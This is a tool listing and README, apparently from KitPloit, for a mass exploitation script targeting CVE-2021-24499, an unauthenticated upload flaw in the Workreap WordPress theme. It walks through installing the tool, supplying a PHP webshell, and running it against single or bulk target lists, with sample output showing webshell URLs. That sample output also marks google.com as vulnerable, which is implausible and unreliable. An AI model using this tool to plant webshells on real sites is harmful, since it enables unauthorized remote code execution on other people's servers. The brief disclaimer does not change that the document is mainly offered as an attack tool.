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CVE-2021-24499

WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution

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CVE-2021-24499 | Workreap - Freelance Marketplace and Directory WordPress Theme < 2.2.2 - Arbitrary File Upload

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WordPress Theme Workreap 2.2.2 - Unauthenticated File Upload Leading to Remote Code Execution

A powerful and accurate mass exploitation tool for CVE-2021-24499 vulnerability in WordPress Workreap theme. This exploit allows unauthenticated file upload which can lead to Remote Code Execution (RCE).

📝 Description

CVE-2021-24499 is a critical vulnerability in WordPress Workreap theme (version 2.2.2 and below) that allows unauthenticated users to upload arbitrary files, including PHP files, through the workreap_award_temp_file_uploader AJAX action. This can lead to Remote Code Execution (RCE) on the target server.

Vulnerable Versions: All versions up to and including 2.2.2

CVSS Score: Critical

📦 Requirements

  • Bash shell (Linux/macOS/WSL)
  • curl command-line tool
  • opts.php or shell.php file (PHP webshell)

🔧 Installation

  1. Clone this repository:
root@kitploit:~
git clone https://github.com/jayhutajulu1/CVE-2021-24499.git
cd CVE-2021-24499
  1. Make the script executable:
root@kitploit:~
chmod +x exploit.sh
  1. Ensure you have opts.php or shell.php in the same directory (your PHP webshell)

🚀 Usage

Basic Usage

Single Target:

root@kitploit:~
./exploit.sh -u http://target.com

Multiple Targets (from file):

root@kitploit:~
./exploit.sh -l targets.txt

Show Help:

root@kitploit:~
./exploit.sh --help

Command Line Options

OptionDescription
-u URLExploit a single target URL
-l FILEExploit multiple targets from a file (one URL per line)
--helpShow help menu

Target File Format

Create a text file with one URL per line:

root@kitploit:~
http://target1.com
https://target2.com
http://target3.com

📸 Examples

Example 1: Single Target Exploitation

root@kitploit:~
$ ./exploit.sh -u https://domain.com

WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution | CVE-2021-24499
Made by Jay Maranatha Hutajulu

https://domain.com/ >> VULNERABLE! 
 --> SHELL: https://domain.com//wp-content/uploads/workreap-temp/shell.php

Example 2: Mass Exploitation

root@kitploit:~
$ ./exploit.sh -l targets.txt

WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution | CVE-2021-24499
Made by Jay Maranatha Hutajulu

https://domain.com >> NOT VULNERABLE!
https://www.google.com >> VULNERABLE!
https://www.domain.com >> NOT VULNERABLE!
https://google.com >> VULNERABLE!

⚠️ Disclaimer

This tool is provided for educational and authorized testing purposes only.

  • DO NOT use this tool on systems you don't own or have explicit written permission to test
  • DO NOT use this tool for any illegal activities
  • The authors and contributors are NOT responsible for any misuse or damage caused by this tool
  • Always ensure you have proper authorization before testing any system
  • Use responsibly and ethically

By using this tool, you agree to use it only for legitimate security testing and research purposes.

🔗 References

  • Exploit-DB
  • Wordfence
  • WP-Scan

👤 Credits

Author: Jay Maranatha Hutajulu

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🤝 Contributing

Contributions, issues, and feature requests are welcome! Feel free to check the issues page.

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Remember: Always use security tools responsibly and ethically. Happy hacking! 🚀

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